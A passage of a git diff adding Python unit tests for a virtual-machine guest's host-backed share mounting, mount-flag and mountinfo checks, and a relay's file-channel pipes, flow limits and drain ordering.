test_on_this_machine_the_real_sysfs_has_none_of_the_declared_devices(self): + self.assertTrue(self.run_tool("shares", self.FOLDER, tool=self.real_sys_tool).startswith("rc=1 mounted=0 ")) + + def test_a_refused_real_mount_undoes_the_step_and_changes_no_mode(self): + if os.geteuid() == 0: + self.skipTest("root may mount: the refusal under test is the ordinary user's EPERM") + self.fake_sysfs(["src-0", "winter-memory"]) + before = self.modes() + # the walk accepts the test's own directories (SHARES_OWNER, test build only), makes the folder's mount point, and reaches mount(2), which refuses + self.assertEqual(self.run_tool("shares", self.FOLDER, self.MEMORY).strip(), f"rc=2 mounted=0 errno={errno.EPERM}") + after = self.modes() + self.assertEqual(after.pop("workspace/folders/notes"), 0o700) # the one directory the step made: the folder's mount point, root-only + self.assertEqual(after, before) + for path in ("/workspace/folders/notes", "/workspace/.winter/memory"): + self.assertEqual(self.fields(self.run_tool("mountinfo", str(self.root) + path))["count"], "0") # nothing is left mounted + self.assertEqual(self.run_tool("umountshare", "/workspace/outputs").strip(), "rc=-1") # nothing is mounted there + + def test_the_real_mount_table_is_read_whole_and_parsed(self): + out = self.fields(self.run_tool("mountinfo", "/proc")) + self.assertGreaterEqual(int(out["count"]), 1) + self.assertEqual((out["fstype"], out["root"], out["mount_point"]), ("proc", "/", "/proc")) + self.assertEqual(self.fields(self.run_tool("mountinfo", str(self.root / "nowhere")))["count"], "0") + + # ---- as root, in a private mount namespace (CI's root step) + + def test_realmount_the_whole_share_step_runs_for_real_through_the_checked_descriptors(self): + specs = [self.FOLDER, self.PHOTOS, self.GUIDANCE, self.MEMORY, self.OUTPUTS] + self.need_root() + self.fake_sysfs([self.tag_of(s) for s in specs]) + out = self.private("realstep", "tmpfs", "nr_inodes=4096", *specs) + lines = out.splitlines() + self.assertEqual(lines[0], "rc=0 mounted=31 mounts=5", out) + for spec, line in zip(specs, lines[1:6]): + kind, ro, tag, _ = spec.split(":", 3) + fields = dict(part.split("=", 1) for part in line.split(" ")) + options = fields["options"].split(",") + self.assertEqual((fields["share"], fields["count"], fields["fstype"], fields["source"]), (tag, "1", "tmpfs", tag), out) + self.assertEqual(("ro" in options, "rw" in options), (ro == "1", ro != "1"), out) + self.assertIn("nosuid", options) + self.assertIn("nodev", options) + self.assertEqual("noexec" in options, kind != "folder", out) + self.assertIn("nr_inodes=4096", fields["super"].split(","), out) + self.assertIn("alias=/run/winter/shared-instructions/WINTER.md", lines) + self.assertEqual([line for line in lines if line.startswith("umount=")], [f"umount={self.tag_of(s)}:0" for s in reversed(specs)]) + self.assertEqual(lines[-1], "left=0") + + def test_realmount_a_mount_point_that_already_holds_a_mount_is_refused_before_anything_is_mounted(self): + self.need_root() + self.fake_sysfs([self.tag_of(self.FOLDER), self.tag_of(self.OUTPUTS)]) + out = self.private("realstep", "tmpfs", "nr_inodes=4096", self.FOLDER, self.OUTPUTS, + shell=f'mount -t tmpfs stray "{self.root}/workspace/outputs" && exec "$@"') + lines = out.splitlines() + # refused by the walk (the mount point is not on its parent's filesystem) before any mount(2): not mounted and rolled back, never mounted at all + self.assertEqual(lines[0], "rc=2 mounted=0 mounts=0", out) + self.assertTrue(lines[1].startswith("share=src-0 count=0 "), out) + + def test_realmount_an_alias_that_is_the_right_link_but_not_pid_1s_is_refused(self): + """The alias owner check needs a link owned by someone else, which only root can make (lchown).""" + self.need_root() + alias = self.root / "workspace/.winter/WINTER.md" + alias.symlink_to("/run/winter/shared-instructions/WINTER.md") + os.lchown(alias, 12345, 12345) + self.assertEqual(self.run_tool("alias").strip(), "rc=-1") + self.assertEqual(alias.lstat().st_uid, 12345) # refused, and left as it is + os.lchown(alias, 0, 0) + self.assertEqual(self.run_tool("alias").strip(), "rc=0") + + def test_realmount_virtiofs_itself_is_reached_and_refused_for_the_missing_device(self): + """The production call, mount(tag, /proc/self/fd/, "virtiofs", flags, "dax=never"), as root on a machine with no virtio-fs device: the kernel refuses it + (EINVAL, `tag not found`; ENODEV where the driver is absent) and the step is undone. The live virtio-fs mount is G7's.""" + self.need_root() + self.fake_sysfs([self.tag_of(self.FOLDER), self.tag_of(self.MEMORY)]) + out = self.private("shares", self.FOLDER, self.MEMORY).strip() + rc, mounted, err = (part.split("=")[1] for part in out.split(" ")) + self.assertEqual((rc, mounted), ("2", "0"), out) + self.assertIn(int(err), (errno.EINVAL, errno.ENODEV), out) + + def test_realmount_the_mountinfo_reader_and_every_flag_check_hold_on_the_kernels_own_output(self): + self.need_root() + same = ("tmpfs", "winter-memory", "nr_inodes=4096", self.MEMORY) + cases = { + "as mounted": (same, same, "0"), + "read-only expected": (same, ("tmpfs", "winter-memory", "nr_inodes=4096", "guidance:1:winter-memory:/workspace/.winter/memory"), "-1"), + "exec mounted, noexec expected": (("tmpfs", "winter-memory", "nr_inodes=4096", "folder:0:winter-memory:/workspace/.winter/memory"), same, "-1"), + "another data option": (same, ("tmpfs", "winter-memory", "nr_inodes=8192", self.MEMORY), "-1"), + "another source": (same, ("tmpfs", "winter-outputs", "nr_inodes=4096", self.MEMORY), "-1"), + "another fstype": (same, ("virtiofs", "winter-memory", "nr_inodes=4096", self.MEMORY), "-1"), + } + for name, (mounted, checked, expected) in cases.items(): + with self.subTest(name): + out = self.private("realcheck", *mounted, *checked) + fields = self.fields(out) + self.assertEqual((fields["count"].split()[0], out.split("check=")[1].split()[0], fields["umount"]), ("1", expected, "0"), out) + + def test_realmount_ext4_mounted_with_dax_never_reads_back_as_the_dax_rule_expects(self): + """A real `dax=never` line from this kernel: ext4 (which prints its DAX mode the way the fuse client does) on a loop device, checked by the same rule.""" + self.need_root() + losetup, mke2fs = shutil.which("losetup"), shutil.which("mke2fs") + if not (losetup and mke2fs): + self.fail("losetup and mke2fs are part of the runner") + image = self.folder / "dax.img" + with open(image, "wb") as handle: + handle.truncate(32 * 1024 * 1024) + subprocess.run([mke2fs, "-q", "-F", "-t", "ext4", str(image)], check=True, capture_output=True) + device = subprocess.run([losetup, "-f", "--show", str(image)], check=True, capture_output=True, text=True).stdout.strip() + self.addCleanup(subprocess.run, [losetup, "-d", device], capture_output=True) + out = self.private("realcheck", "ext4", device, "dax=never", self.MEMORY, "ext4", device, "dax=never", self.MEMORY) + self.assertIn("check=0", out) + self.assertIn("dax=never", self.fields(out)["super"].split(","), out) + out = self.private("realcheck", "ext4", device, "dax=never", self.MEMORY, "ext4", device, "dax=always", self.MEMORY) + self.assertIn("check=-1", out) + + def test_realmount_a_tmpfs_with_a_shares_flags_reads_back_in_a_namespace_of_its_own(self): + """The same probe as an ordinary user, where the runner allows an unprivileged user namespace; as root, in a private mount namespace.""" + unshare = shutil.which("unshare") + if os.geteuid() == 0 and unshare: + command = [unshare, "-m", "--propagation", "private"] + elif unshare and subprocess.run([unshare, "-Urm", "true"], capture_output=True).returncode == 0: + command = [unshare, "-Urm"] + else: + self.need_root() + return + target = self.root / "workspace/outputs" + result = subprocess.run(command + [str(self.tool), "realmount", str(target)], capture_output=True, text=True, timeout=60) + self.assertEqual(result.returncode, 0, result.stderr) + out = self.fields(result.stdout) + self.assertEqual(out["count"], "1", result.stdout) + self.assertEqual((out["fstype"], out["source"], out["root"], out["mount_point"], out["umount"]), ("tmpfs", "winter-probe", "/", str(target), "0")) + options = out["options"].split(",") + for option in ("ro", "nosuid", "nodev", "noexec"): + self.assertIn(option, options) + self.assertNotIn("rw", options) + self.assertIn("size=1024k", out["super"].split(",")) + if __name__ == "__main__": unittest.main() diff --git a/apple/Cowork/WinterCoworkGuest/tests/test_relay.py b/apple/Cowork/WinterCoworkGuest/tests/test_relay.py index bb4691c57..3476187b3 100644 --- a/apple/Cowork/WinterCoworkGuest/tests/test_relay.py +++ b/apple/Cowork/WinterCoworkGuest/tests/test_relay.py @@ -64,7 +64,7 @@ def shutdown_rd_fails_peer_writes(): class Harness: """One running relay with its six descriptors.""" - def __init__(self, binary, extra_fds=(), arguments=None): + def __init__(self, binary, extra_fds=(), arguments=None, file_channel=False, file_in_instead=None, file_out_instead=None): self.host, relay_port = socket.socketpair() init_to_relay_r, self.init_w = os.pipe() # init -> relay self.init_r, relay_to_init_w = os.pipe() # relay -> init @@ -73,13 +73,29 @@ def __init__(self, binary, extra_fds=(), arguments=None): relay_rt_err_r, self.sup_err_w = os.pipe() # supervisor stderr -> relay fds = [relay_port.fileno(), init_to_relay_r, relay_to_init_w, relay_rt_in_w, relay_rt_out_r, relay_rt_err_r] names = ["--port", "--ctl-in", "--ctl-out", "--rt-in", "--rt-out", "--rt-err"] + self.file_r = self.file_w = None + relay_file = [] + if file_channel: # the gated relay's two more pipes: FILE_IN to the file service, FILE_OUT back + self.file_r, relay_file_in_w = os.pipe() # relay -> file service (FILE_IN) + relay_file_out_r, self.file_w = os.pipe() # file service -> relay (FILE_OUT) + if file_in_instead is not None: # a test hands the relay something that is not a pipe in the FILE_IN slot + os.close(relay_file_in_w) + relay_file_in_w = file_in_instead + if file_out_instead is not None: + os.close(relay_file_out_r) + relay_file_out_r = file_out_instead + relay_file = [relay_file_in_w, relay_file_out_r] + fds += relay_file + names += ["--file-in", "--file-out"] argv = arguments if arguments is not None else [x for pair in zip(names, map(str, fds)) for x in pair] self.proc = subprocess.Popen([str(binary), *argv], pass_fds=[*fds, *extra_fds], stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE) relay_port.close() - for fd in (init_to_relay_r, relay_to_init_w, relay_rt_in_w, relay_rt_out_r, relay_rt_err_r): + for fd in (init_to_relay_r, relay_to_init_w, relay_rt_in_w, relay_rt_out_r, relay_rt_err_r, *[f for f in relay_file if f not in (file_in_instead, file_out_instead)]): os.close(fd) for fd in (self.init_r, self.sup_r): os.set_blocking(fd, False) + if self.file_r is not None: + os.set_blocking(self.file_r, False) self.host.settimeout(5) self.buffers = {self.init_r: b"", self.sup_r: b""} @@ -90,7 +106,9 @@ def close(self): for stream in (self.proc.stdout, self.proc.stderr): stream.close() self.host.close() - for fd in (self.init_w, self.init_r, self.sup_r, self.sup_out_w, self.sup_err_w): + for fd in (self.init_w, self.init_r, self.sup_r, self.sup_out_w, self.sup_err_w, self.file_r, self.file_w): + if fd is None: + continue try: os.close(fd) except OSError: @@ -567,7 +585,7 @@ def test_the_contracts_runtime_flow_cases_never_trouble_the_relay(self): queue is a quarter-ratio above that limit, so it needs no guest-side credit or check.""" flow = json.loads((ROOT / "vectors/runtime-flow.json").read_text()) self.assertEqual(flow["limitBytes"], 1048576) - self.assertEqual(len(flow["cases"]), 8) + self.assertEqual(len(flow["cases"]), 13) for case in flow["cases"]: with self.subTest(case["name"]): h = self.start() @@ -793,5 +811,312 @@ def test_a_descriptor_of_the_wrong_kind_is_refused(self): self.assertEqual(result.returncode, 65) +FILE_IN, FILE_OUT = 4, 5 +EXIT_OVERSIZE, EXIT_BAD_FIELD, EXIT_BAD_DIRECTION = EXIT_WMX + 2, EXIT_WMX + 5, EXIT_WMX + 8 +EXIT_STATE = 95 + + +@unittest.skipUnless(CC, "no C compiler") +class FileChannelRelayTests(unittest.TestCase): + """The relay built with WG_FILE_CHANNEL_V1 (an image that declares `file-channel-v1`): streams 4 and 5 on conversation 0, their own ring and flow rule, + FILE_IN closed first on a drain, FILE_OUT's end framed before `halting`. The production relay has none of it.""" + + @classmethod + def setUpClass(cls): + cls.folder = tempfile.mkdtemp(prefix="guest-relay-file-") + sources = [ROOT / "relay/relay.c", ROOT / "common/wmx.c", ROOT / "common/ctl.c", ROOT / "common/fileflow.c"] + cls.relay = build(sources, Path(cls.folder) / "relay", extra=["-DWG_TEST_PORT_SOCKET", "-DWG_FILE_CHANNEL_V1"]) + cls.plain = build([ROOT / "relay/relay.c", ROOT / "common/wmx.c", ROOT / "common/ctl.c"], Path(cls.folder) / "relay-plain", extra=["-DWG_TEST_PORT_SOCKET"]) + + @classmethod + def tearDownClass(cls): + shutil.rmtree(cls.folder, ignore_errors=True) + + def start(self, file_channel=True, binary=None, **kwargs): + harness = Harness(binary or self.relay, file_channel=file_channel, **kwargs) + self.addCleanup(harness.close) + return harness + + READY = RelayTests.READY + + def open_all(self, h, bits=3): + """PID 1's order: `G` (bit 0 runtime streams, bit 1 the file service), then `runtime_ready` through the relay.""" + h.init_send("G", bytes([bits])) + time.sleep(0.1) + h.init_send("U", self.READY) + self.assertEqual(h.read_frame(), (1, 1, self.READY)) + + def read_file(self, h, count, timeout=5): + deadline = time.monotonic() + timeout + data = b"" + while len(data) < count: + remaining = deadline - time.monotonic() + if remaining <= 0: + raise TimeoutError("file service input") + ready, _, _ = select.select([h.file_r], [], [], remaining) + if ready: + chunk = os.read(h.file_r, count - len(data)) + if not chunk: + break + data += chunk + return data + + def file_eof(self, h, timeout=5): + """True when FILE_IN reads as closed (every write end gone).""" + deadline = time.monotonic() + timeout + while time.monotonic() < deadline: + ready, _, _ = select.select([h.file_r], [], [], 0.1) + if ready: + return os.read(h.file_r, 65536) == b"" + return False + + # ---- the argument and descriptor contract + + def test_the_gated_relay_takes_the_two_file_pipes_and_the_plain_one_refuses_them(self): + h = self.start(file_channel=True, binary=self.plain) + self.assertEqual(h.wait_exit(), 64) # 17 arguments to a relay that takes 13 + h = self.start(file_channel=False) + self.assertEqual(h.wait_exit(), 64) # 13 arguments to a relay that takes 17 + a, b = os.pipe() + try: + h = self.start(extra_fds=[a]) + self.assertEqual(h.wait_exit(), 71) # a stray descriptor is refused + finally: + os.close(a) + os.close(b) + + def test_the_file_pipes_must_be_pipes(self): + with open("/dev/null", "rb") as not_a_pipe: + h = self.start(file_in_instead=not_a_pipe.fileno()) + self.assertEqual(h.wait_exit(), 65) # EXIT_DESCRIPTOR + h = self.start(file_out_instead=not_a_pipe.fileno()) + self.assertEqual(h.wait_exit(), 65) + + # ---- the production relay refuses the file streams + + def test_a_relay_without_the_gate_ends_the_stream_on_stream_four(self): + h = self.start(file_channel=False, binary=self.plain) + h.init_send("G", b"\x01") + time.sleep(0.1) + h.send(frame(2, 1, rt(FILE_IN, b"x\n"))) + self.assertEqual(h.wait_exit(), EXIT_BAD_FIELD) + + # ---- FILE_IN + + def test_a_request_line_reaches_the_file_service_byte_for_byte_and_a_response_comes_back_as_stream_five(self): + h = self.start() + self.open_all(h) + request = b'{"op":"stat","path":"/workspace/a"}\n' + h.send(frame(2, 1, rt(FILE_IN, request))) + self.assertEqual(self.read_file(h, len(request)), request) + response = b'{"ok":true}\n' + os.write(h.file_w, response) + cls, seq, payload = h.read_frame() + self.assertEqual((cls, seq, payload[:4], payload[4:]), (2, 1, bytes([0, FILE_OUT, 0, 0]), response)) + + def test_file_in_never_reaches_the_runtime_input_and_runtime_input_never_reaches_the_file_service(self): + h = self.start() + self.open_all(h) + h.send(frame(2, 1, rt(IN, b"runtime bytes\n"))) + h.send(frame(2, 2, rt(FILE_IN, b"file bytes\n"))) + self.assertEqual(h.read_supervisor_input(14), b"runtime bytes\n") + self.assertEqual(self.read_file(h, 11), b"file bytes\n") + ready, _, _ = select.select([h.sup_r], [], [], 0.3) + self.assertEqual(ready, []) + + def test_the_runtime_streams_exist_only_for_a_host_query_conversation_even_when_the_file_service_does(self): + h = self.start() + self.open_all(h, bits=2) + h.send(frame(2, 1, rt(IN, b"runtime bytes\n"))) + self.assertEqual(h.wait_exit(), EXIT_BAD_FIELD) + + def test_a_file_service_that_is_not_there_is_never_read(self): + h = self.start() + self.open_all(h, bits=1) + os.write(h.file_w, b"nobody asked\n") + time.sleep(0.3) + h.send(control(1, '{"v":1,"t":"ping","n":9}')) + self.assertEqual(h.read_frame(), (0, 1, b'{"v":1,"t":"pong","n":9}')) # the next frame is the pong: no FILE_OUT frame before it + self.assertIsNone(h.proc.poll()) + + def test_a_file_service_that_exits_does_not_end_the_relay(self): + h = self.start() + self.open_all(h) + os.close(h.file_r) + h.file_r = None + h.send(frame(2, 1, rt(FILE_IN, b"q\n"))) + time.sleep(0.3) + h.send(frame(2, 2, rt(IN, b"runtime still works\n"))) + self.assertEqual(h.read_supervisor_input(20), b"runtime still works\n") + h.send(control(1, '{"v":1,"t":"ping","n":4}')) + self.assertEqual(h.read_frame()[0:2], (0, 1)) + self.assertIsNone(h.proc.poll()) + + def test_file_in_works_with_no_host_query_conversation(self): + h = self.start() + h.init_send("G", b"\x02") # bit 1 only: a tools-only set still has a file service + time.sleep(0.1) + h.init_send("U", self.READY) + h.read_frame() + h.send(frame(2, 1, rt(FILE_IN, b"q\n"))) + self.assertEqual(self.read_file(h, 2), b"q\n") + self.assertIsNone(h.proc.poll()) + + def test_the_end_of_file_in_closes_the_file_service_input_after_what_came_before_and_nothing_follows(self): + h = self.start() + self.open_all(h) + h.send(frame(2, 1, rt(FILE_IN, b"last\n")) + frame(2, 2, rt(FILE_IN, b"", end=True))) # one port read: the end is seen before the data is written + self.assertEqual(self.read_file(h, 5), b"last\n") + self.assertTrue(self.file_eof(h)) + h.send(frame(2, 3, rt(FILE_IN, b"late\n"))) + self.assertEqual(h.wait_exit(), EXIT_BAD_FIELD) + + def test_file_in_before_the_go_or_without_a_file_service_ends_the_stream(self): + h = self.start() + h.send(frame(2, 1, rt(FILE_IN, b"x\n"))) + self.assertEqual(h.wait_exit(), EXIT_BAD_FIELD) + h = self.start() + self.open_all(h, bits=1) # the supervisor has no file service + h.send(frame(2, 1, rt(FILE_IN, b"x\n"))) + self.assertEqual(h.wait_exit(), EXIT_BAD_FIELD) + + def test_the_streams_exist_on_conversation_zero_and_in_their_own_direction_only(self): + for payload, code in ((rt(FILE_IN, b"x\n", conversation=1), EXIT_BAD_FIELD), (rt(FILE_OUT, b"x\n"), EXIT_BAD_DIRECTION), (rt(6, b"x\n"), EXIT_BAD_FIELD), + (rt(FILE_IN, b"", end=False), EXIT_BAD_FIELD), (rt(FILE_IN, b"x\n", flags=2), EXIT_BAD_FIELD)): + h = self.start() + self.open_all(h) + h.send(frame(2, 1, payload)) + self.assertEqual(h.wait_exit(), code, payload) + + def test_the_file_in_flow_rule_is_the_contracts(self): + """Four request lines outstanding, 16 KiB per line; a fifth line or a longer line ends the stream with `oversize`.""" + h = self.start() + self.open_all(h) + for seq in range(1, 5): + h.send(frame(2, seq, rt(FILE_IN, b"r\n"))) + self.assertEqual(self.read_file(h, 8), b"r\n" * 4) + h.send(frame(2, 5, rt(FILE_IN, b"r\n"))) + self.assertEqual(h.wait_exit(), EXIT_OVERSIZE) + h = self.start() + self.open_all(h) + h.send(frame(2, 1, rt(FILE_IN, b"x" * 16383 + b"\n"))) + self.assertEqual(len(self.read_file(h, 16384)), 16384) + self.assertIsNone(h.proc.poll()) + h = self.start() + self.open_all(h) + h.send(frame(2, 1, rt(FILE_IN, b"x" * 16384 + b"\n"))) + self.assertEqual(h.wait_exit(), EXIT_OVERSIZE) + + def test_a_response_frees_a_slot_and_a_response_with_nothing_outstanding_is_a_state_error(self): + h = self.start() + self.open_all(h) + for seq in range(1, 5): + h.send(frame(2, seq, rt(FILE_IN, b"r\n"))) + self.read_file(h, 8) + os.write(h.file_w, b"a\n") + h.read_frame() + h.send(frame(2, 5, rt(FILE_IN, b"r\n"))) + self.assertEqual(self.read_file(h, 2), b"r\n") + self.assertIsNone(h.proc.poll()) + h = self.start() + self.open_all(h) + os.write(h.file_w, b"unasked\n") # the guest's own supervisor answered nobody: a broken guest, not a host violation + self.assertEqual(h.wait_exit(), EXIT_STATE) + + def test_file_out_is_not_read_before_runtime_ready_is_framed(self): + h = self.start() + h.init_send("G", b"\x03") + time.sleep(0.1) + h.send(frame(2, 1, rt(FILE_IN, b"q\n"))) + self.read_file(h, 2) + os.write(h.file_w, b"early\n") + time.sleep(0.3) + h.init_send("U", self.READY) + self.assertEqual(h.read_frame(), (1, 1, self.READY)) + cls, _, payload = h.read_frame() + self.assertEqual((cls, payload[1], payload[4:]), (2, FILE_OUT, b"early\n")) + + # ---- drain and halting + + def test_a_drain_closes_file_in_before_pid_1_hears_of_it(self): + h = self.start() + self.open_all(h) + h.send(control(1, RelayTests.drain_text(None))) + self.assertEqual(h.init_read()[0], "D") + self.assertTrue(self.file_eof(h, timeout=0.5), "FILE_IN must already be closed when PID 1 reads the drain") + h.send(frame(2, 1, rt(FILE_IN, b"late\n"))) # ignored while draining, like runtime input + h.send(control(2, '{"v":1,"t":"ping","n":5}')) + self.assertEqual(h.read_frame()[0:2], (0, 1)) + self.assertIsNone(h.proc.poll()) + + def test_file_outs_end_is_framed_before_halting(self): + h = self.start() + self.open_all(h) + h.send(frame(2, 1, rt(FILE_IN, b"q\n"))) + self.read_file(h, 2) + h.send(control(1, RelayTests.drain_text(None))) + h.init_read() + h.init_send("K", NONCE.encode()) + self.assertEqual(h.read_frame()[0:2], (0, 1)) # drain_ack + os.write(h.file_w, b"final\n") # the file service's last answer, then it exits + os.close(h.file_w) + h.file_w = None + h.init_send("H", NONCE.encode()) + frames = [h.read_frame(), h.read_frame(), h.read_frame()] + self.assertEqual([f[0] for f in frames], [2, 2, 0]) + self.assertEqual((frames[0][2][1], frames[0][2][2], frames[0][2][4:]), (FILE_OUT, 0, b"final\n")) + self.assertEqual((frames[1][2][1], frames[1][2][2], frames[1][2][4:]), (FILE_OUT, 1, b"")) + self.assertEqual(frames[2][2], ('{"v":1,"t":"halting","stopNonce":"%s"}' % NONCE).encode()) + self.assertEqual(h.init_read(), ("f", b"")) + + def drain_to_halting(self, h): + h.send(control(1, RelayTests.drain_text(None))) + h.init_read() + h.init_send("K", NONCE.encode()) + self.assertEqual(h.read_frame()[0:2], (0, 1)) # drain_ack + + def test_file_outs_end_is_framed_even_when_the_service_has_not_closed_its_side(self): + h = self.start() + self.open_all(h) + self.drain_to_halting(h) + h.init_send("H", NONCE.encode()) + cls, _, payload = h.read_frame() + self.assertEqual((cls, payload[1], payload[2], payload[4:]), (2, FILE_OUT, 1, b"")) + self.assertEqual(h.read_frame()[0], 0) # halting, after it + + def test_no_file_out_end_is_framed_for_a_guest_without_a_file_service_or_before_runtime_ready(self): + h = self.start() + self.open_all(h, bits=1) # no file service + self.drain_to_halting(h) + h.init_send("H", NONCE.encode()) + self.assertEqual(h.read_frame()[0], 0) # halting is the very next frame + h = self.start() + h.init_send("G", b"\x03") # a file service, but `runtime_ready` was never framed + time.sleep(0.1) + self.drain_to_halting(h) + h.init_send("H", NONCE.encode()) + self.assertEqual(h.read_frame()[0], 0) + + def test_the_go_byte_has_two_bits_and_nothing_else(self): + for value in (4, 7, 255): + h = self.start() + h.init_send("G", bytes([value])) + self.assertEqual(h.wait_exit(), EXIT_STATE, value) + + def test_a_file_out_that_ended_earlier_is_not_ended_twice(self): + h = self.start() + self.open_all(h) + os.close(h.file_w) + h.file_w = None + cls, _, payload = h.read_frame() + self.assertEqual((cls, payload[1], payload[2]), (2, FILE_OUT, 1)) + h.send(control(1, RelayTests.drain_text(None))) + h.init_read() + h.init_send("K", NONCE.encode()) + h.read_frame() + h.init_send("H", NONCE.encode()) + self.assertEqual(h.read_frame()[0], 0) # halting follows at once: no second end frame + + if __name__ == "__main__": unittest.main() diff --git a/apple/Cowork/WinterCoworkGuest/tests/test_shares.py b/apple/Cowork/WinterCoworkGuest/tests/test_shares.py new file mode 100644 index 000000000..4b4816970 --- /dev/null +++ b/apple/Cowork/WinterCoworkGuest/tests/test_shares.py @@ -0,0 +1,498 @@ +"""Native tests of the guest side of host-backed shares (SH6; an image that declares `file-channel-v1`, everything compiled with WG_FILE_CHANNEL_V1). No VM, no root, no mount: +the share step (init/shares.c) runs against a temporary tree, a fake sysfs and a written mount table through recording operations (tests/shares_tool.c), and PID 1's +decisions about 'S' run against a recording fake (tests/test_boot_shares.c). The Linux-only half (the real system calls in init_linux.c, a real mount table, and a real +mount in a user namespace where the runner allows one) is test_pid1_linux.py's SharesPid1Tests. + +What the design asks of the guest (docs/research/2026-10-18-n2-extensions-design.md section 2.5, R6, R8): the virtio-fs inventory equals the declared tags exactly, +each tag is mounted nosuid,nodev [,ro] [,noexec on the Winter shares] with dax=never, every mount is checked in mountinfo, the guidance alias exists, nothing on a share +or a mount point is ever chowned or chmodded, and the drain unmounts the shares before the ext4 volumes.""" +import json +import os +import re +import shutil +import stat +import subprocess +import sys +import tempfile +import unittest +from pathlib import Path + +from test_native import CC, ROOT, build + +sys.path.insert(0, str(ROOT / "bootstrap")) +import guest_bootstrap as gb # noqa: E402 + +HERE = Path(__file__).resolve().parent +INIT = ROOT / "init" +FLAG = ["-DWG_FILE_CHANNEL_V1"] +FOLDER = "folder:0:src-0:/workspace/folders/notes" +PHOTOS = "folder:1:src-1:/workspace/folders/photos" +GUIDANCE = "guidance:1:winter-guidance:/run/winter/shared-instructions" +MEMORY = "memory:0:winter-memory:/workspace/.winter/memory" +OUTPUTS = "outputs:0:winter-outputs:/workspace/outputs" +ALL = [FOLDER, PHOTOS, GUIDANCE, MEMORY, OUTPUTS] +MS_RDONLY, MS_NOSUID, MS_NODEV, MS_NOEXEC = 1, 2, 4, 8 + + +def share_fields(spec): + kind, ro, tag, path = spec.split(":", 3) + return kind, ro == "1", tag, path + + +def mountinfo_line(number, spec, prefix="@ROOT@", **changes): + """One mountinfo line for a share as the kernel prints a virtio-fs mount made by PID 1; `changes` replaces any field.""" + kind, ro, tag, path = share_fields(spec) + options = ",".join(filter(None, ["ro" if ro else "rw", "nosuid", "nodev", "noexec" if kind != "folder" else "", "relatime"])) + fields = {"id": str(40 + number), "parent": "30", "dev": f"0:{50 + number}", "root": "/", "mount_point": prefix + path, "options": options, + "optional": "", "fstype": "virtiofs", "source": tag, "super": ("ro" if ro else "rw") + ",dax=never"} + fields.update(changes) + head = [fields["id"], fields["parent"], fields["dev"], fields["root"], fields["mount_point"], fields["options"]] + ([fields["optional"]] if fields["optional"] else []) + return " ".join(head + ["-", fields["fstype"], fields["source"], fields["super"]]) + "\n" + + +BASE_TABLE = ("1 0 0:2 / / rw - rootfs rootfs rw\n" + "22 1 0:21 / /proc rw,nosuid,nodev,noexec,relatime shared:5 - proc proc rw\n" + "30 1 254:0 / @ROOT@/workspace rw,nosuid,nodev,noatime - ext4 /dev/vda rw,noinit_itable,errors=remount-ro\n") + + +@unittest.skipUnless(CC, "no C compiler") +class ShareModuleTests(unittest.TestCase): + @classmethod + def setUpClass(cls): + cls.folder = Path(tempfile.mkdtemp(prefix="guest-shares-")) + cls.tool = build([HERE / "shares_tool.c", INIT / "shares.c", INIT / "boot.c", INIT / "mounts.c", INIT / "ext4sb.c", INIT / "trusted_config.c", + ROOT / "common/wmx.c", ROOT / "common/ctl.c"], cls.folder / "shares-tool", extra=FLAG) + + @classmethod + def tearDownClass(cls): + shutil.rmtree(cls.folder, ignore_errors=True) + + def setUp(self): + self.dir = Path(tempfile.mkdtemp(prefix="guest-shares-case-")) + self.addCleanup(shutil.rmtree, self.dir, ignore_errors=True) + self.root = self.dir / "root" + for sub, mode in (("run", 0o755), ("run/winter", 0o711), ("run/winter/shared-instructions", 0o755), ("workspace", 0o711), ("workspace/.winter", 0o711), + ("workspace/.winter/memory", 0o711), ("workspace/outputs", 0o711), ("workspace/folders", 0o711), ("workspace/repos", 0o711)): + (self.root / sub).mkdir(parents=True, exist_ok=True) + os.chmod(self.root / sub, mode) + self.sys = self.dir / "sys" + + def run_tool(self, *args, env=None): + result = subprocess.run([str(self.tool), *map(str, args)], capture_output=True, text=True, timeout=60, env=env) + self.assertEqual(result.returncode, 0, result.stderr) + return result.stdout + + def fake_sysfs(self, tags, bus_devices=None, extra=()): + """/fs/virtiofs//tag for every tag, and as many virtio-fs devices (type 26) on the bus as `bus_devices` (default: one per tag), beside a console and two disks.""" + shutil.rmtree(self.sys, ignore_errors=True) + (self.sys / "fs/virtiofs").mkdir(parents=True) + for n, tag in enumerate(tags): + (self.sys / f"fs/virtiofs/{n}").mkdir() + (self.sys / f"fs/virtiofs/{n}/tag").write_bytes(tag if isinstance(tag, bytes) else (tag + "\n").encode()) + for name in extra: + (self.sys / f"fs/virtiofs/{name}").mkdir() + devices = self.sys / "bus/virtio/devices" + devices.mkdir(parents=True) + for n, kind in enumerate(["0x0003", "0x0002", "0x0002"] + ["0x001a"] * (len(tags) if bus_devices is None else bus_devices)): + (devices / f"virtio{n}").mkdir() + (devices / f"virtio{n}/device").write_text(kind + "\n") + + def tags(self, specs): + return [share_fields(spec)[2] for spec in specs] + + def table(self, specs, **changes): + path = self.dir / "mountinfo" + path.write_text(BASE_TABLE + "".join(mountinfo_line(n, spec, **changes) for n, spec in enumerate(specs))) + return path + + def modes(self): + return {str(p.relative_to(self.root)): (stat.S_IMODE(p.lstat().st_mode), p.lstat().st_uid) for p in [self.root, *self.root.rglob("*")]} + + # ---------------------------------------------------------------------------------------------- flags + + def test_each_kind_is_mounted_nosuid_nodev_read_only_as_declared_and_noexec_only_on_the_winter_shares(self): + expect = {FOLDER: MS_NOSUID | MS_NODEV, PHOTOS: MS_RDONLY | MS_NOSUID | MS_NODEV, GUIDANCE: MS_RDONLY | MS_NOSUID | MS_NODEV | MS_NOEXEC, + MEMORY: MS_NOSUID | MS_NODEV | MS_NOEXEC, OUTPUTS: MS_NOSUID | MS_NODEV | MS_NOEXEC} + for spec, flags in expect.items(): + with self.subTest(spec): + self.assertEqual(int(self.run_tool("flags", spec).splitlines()[1]), flags) + + # ---------------------------------------------------------------------------------------------- inventory + + def test_the_inventory_must_equal_the_declared_tags(self): + self.fake_sysfs(self.tags(ALL)) + self.assertEqual(self.run_tool("inventory", self.sys, *ALL).strip(), "0") + self.fake_sysfs(list(reversed(self.tags(ALL)))) + self.assertEqual(self.run_tool("inventory", self.sys, *ALL).strip(), "0") # order is the kernel's, not the host's + + def test_an_extra_device_is_refused_even_when_the_bus_count_agrees(self): + self.fake_sysfs(self.tags(ALL) + ["src-9"]) + self.assertEqual(self.run_tool("inventory", self.sys, *ALL).strip(), "-1") + 